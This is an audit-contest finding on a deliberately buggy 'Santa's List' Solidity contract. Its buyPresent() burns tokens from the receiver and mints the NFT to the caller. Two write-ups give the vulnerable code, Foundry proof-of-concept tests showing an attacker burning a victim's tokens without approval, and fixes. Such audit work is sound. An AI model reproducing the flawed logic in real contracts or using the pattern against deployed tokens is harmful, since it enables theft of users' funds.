Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

buyPresent() burns tokens from presentReceiver instead of msg.sender and mints the NFT to msg.sender instead of presentReceiver, allowing anyone to steal SantaTokens from any holder without approval

Root + Impact

Any address can call buyPresent(victim) to burn the victim's SantaTokens without their approval and mint a free NFT to themselves. Every SantaToken holder is permanently at risk. The attacker spends nothing, the victim loses their tokens, and the victim receives no NFT despite being the designated presentReceiver.

The function is external with no access restriction. Any address can target any SantaToken holder at any time. No approval from the victim is needed — Solmate's _burn subtracts directly from balanceOf[from] without checking allowances. The attack costs gas only and can be executed against every holder in a single script.

Description

  • buyPresent() is intended to let a caller spend their own SantaTokens to purchase an NFT for someone else. The intended flow is: caller burns their own tokens, recipient receives the NFT.

    The implementation is fully inverted on both operations:

function buyPresent(address presentReceiver) external {
// @> burns tokens from presentReceiver (victim), not msg.sender (caller)
i_santaToken.burn(presentReceiver);
// @> mints NFT to msg.sender (caller), not presentReceiver
_mintAndIncrement();
}

_mintAndIncrement() always mints to msg.sender:

function _mintAndIncrement() private {
// @> msg.sender receives the NFT regardless of who presentReceiver is
_safeMint(msg.sender, s_tokenCounter++);
}

SantaToken.burn() is restricted to the SantasList contract, but imposes no restriction on which address's balance is burned:

function burn(address from) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
// @> burns directly from `from` with no allowance check
_burn(from, 1e18);
}

Solmate's internal _burn subtracts directly from balanceOf[from] with no ERC20 allowance verification. This means SantasList can burn tokens from any address at any time, and buyPresent() exploits this by passing the victim's address as from.

The result: the caller pays nothing, gains an NFT, and the victim loses 1e18 SantaTokens while receiving nothing.

Risk

Likelihood:

  • No approval or permission from the victim is required — Solmate burns without allowance checks

  • The function is unrestricted and callable against any address holding SantaTokens

  • Every EXTRA_NICE address that called collectPresent() holds exactly 1e18 tokens and is an immediate target

Impact:

  • Every SantaToken holder can have their entire balance stolen at any time

  • Attacker gains one free NFT per 1e18 tokens stolen from each victim

  • Victim loses tokens and receives no NFT despite being the named presentReceiver

  • The buyPresent feature is completely unusable for its intended purpose

Proof of Concept

The following test demonstrates an attacker draining a victim's SantaTokens without any approval and minting a free NFT to themselves:

function test_F4_AttackerDrainsVictimTokensWithoutApproval() public {
// Santa marks victim as EXTRA_NICE — victim earns 1e18 SantaTokens
vm.startPrank(santa);
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(victim);
santasList.collectPresent();
// Pre-attack: victim holds 1e18 tokens, attacker has no NFTs
assertEq(santaToken.balanceOf(victim), 1e18);
assertEq(santasList.balanceOf(attacker), 0);
// Attacker calls buyPresent(victim) — no approval, no tokens held
vm.prank(attacker);
santasList.buyPresent(victim);
// Victim lost all tokens, attacker gained free NFT, victim received nothing
assertEq(santaToken.balanceOf(victim), 0);
assertEq(santasList.balanceOf(attacker), 1);
assertEq(santasList.balanceOf(victim), 1); // victim's original NFT only
}

Recommended Mitigation

Burn tokens from msg.sender (requiring prior approval) and mint the NFT to presentReceiver. This restores the intended semantics: the caller pays, the recipient receives.

Note: with this fix, msg.sender must have approved SantasList to spend their tokens before calling buyPresent(). The SantaToken.burn() function should also be updated to enforce the allowance check, or the approval should be handled via transferFrom prior to burning.

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _safeMint(presentReceiver, s_tokenCounter++);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!